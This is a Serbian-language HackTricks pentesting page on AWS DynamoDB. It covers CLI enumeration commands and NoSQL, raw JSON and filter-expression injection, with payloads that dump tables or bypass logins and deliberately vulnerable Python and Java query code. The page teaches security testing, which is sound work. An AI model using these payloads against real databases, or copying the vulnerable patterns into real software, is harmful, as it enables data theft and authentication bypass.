# AWS - DynamoDB Enum

{{#include ../../../banners/hacktricks-training.md}}

## DynamoDB

### Osnovne informacije

Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.

U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **ključne particije** kao integralnog dela **primarnog ključa tabele**. Ovaj ključ particije, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **ključnog sortiranja** kako bi se dodatno poboljšala organizacija podataka.

### Enkripcija

Podrazumevano, DynamoDB koristi KMS ključ koji \*\*pripada Amazon DynamoDB,\*\* čak ni AWS upravljani ključ koji barem pripada vašem nalogu.

<figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>

### Rezervne kopije i izvoz u S3

Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **oporavak u tački vremena (PITR) za tabelu.** Oporavak u tački vremena obezbeđuje kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.

Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **omogućen PITR**.

### GUI

Postoji GUI za lokalne Dynamo usluge kao što su [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), itd, koji bi mogli biti korisni: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)

### Enumeracija
```bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
```
### Neautentifikovani pristup

{{#ref}}
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
{{#endref}}

### Privesc

{{#ref}}
../aws-privilege-escalation/aws-dynamodb-privesc.md
{{#endref}}

### Post Eksploatacija

{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}

### Perzistencija

{{#ref}}
../aws-persistence/aws-dynamodb-persistence.md
{{#endref}}

## DynamoDB Injekcija

### SQL Injekcija

Postoje načini za pristupanje DynamoDB podacima koristeći **SQL sintaksu**, stoga su tipične **SQL injekcije takođe moguće**.

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}

### NoSQL Injekcija

U DynamoDB različite **uslove** je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\
Ovde možete pronaći uslove koje podržava DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)

Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem **`query`** ili putem **`scan`**.

> [!NOTE]
> U stvari, **Query** akcije moraju da specificiraju **uslov "EQ" (jednako)** u **primarnom** ključu da bi radile, čineći ih mnogo **manje podložnim NoSQL injekcijama** (i takođe čineći operaciju veoma ograničenom).

Ako možete **promeniti poređenje** koje se vrši ili dodati nova, mogli biste preuzeti više podataka.
```bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
```
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}

### Raw Json injection

> [!CAUTION]
> **Ova ranjivost se zasniva na dynamodb Scan Filter koji je sada ukinut!**

**DynamoDB** prihvata **Json** objekte za **pretragu** podataka unutar DB-a. Ako otkrijete da možete pisati u json objekt koji se šalje za pretragu, mogli biste napraviti dump DB-a, svih sadržaja.

Na primer, injektovanje u zahtev kao:
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
napadač bi mogao da ubaci nešto poput:

`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`

ispravite "EQ" uslov tražeći ID 1000, a zatim tražeći sve podatke sa ID stringom većim od 0, što je sve.

Još jedan **ranjiv primer koristeći prijavu** mogao bi biti:
```python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
```
Ovo bi bilo ranjivo na:
```
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```
### :property Injection

Neki SDK-ovi omogućavaju korišćenje stringa koji označava filtriranje koje treba izvršiti kao:
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
Morate znati da prilikom pretrage u DynamoDB za **zamenu** vrednosti **atributa** u **filter izrazima** dok skenirate stavke, tokeni treba da **počnu** sa **`:`** karakterom. Takvi tokeni će biti **zamenjeni** stvarnom **vrednosti atributa u vreme izvršavanja**.

Stoga, prijava poput prethodne može biti zaobiđena sa nečim poput:
```bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
```
{{#include ../../../banners/hacktricks-training.md}}
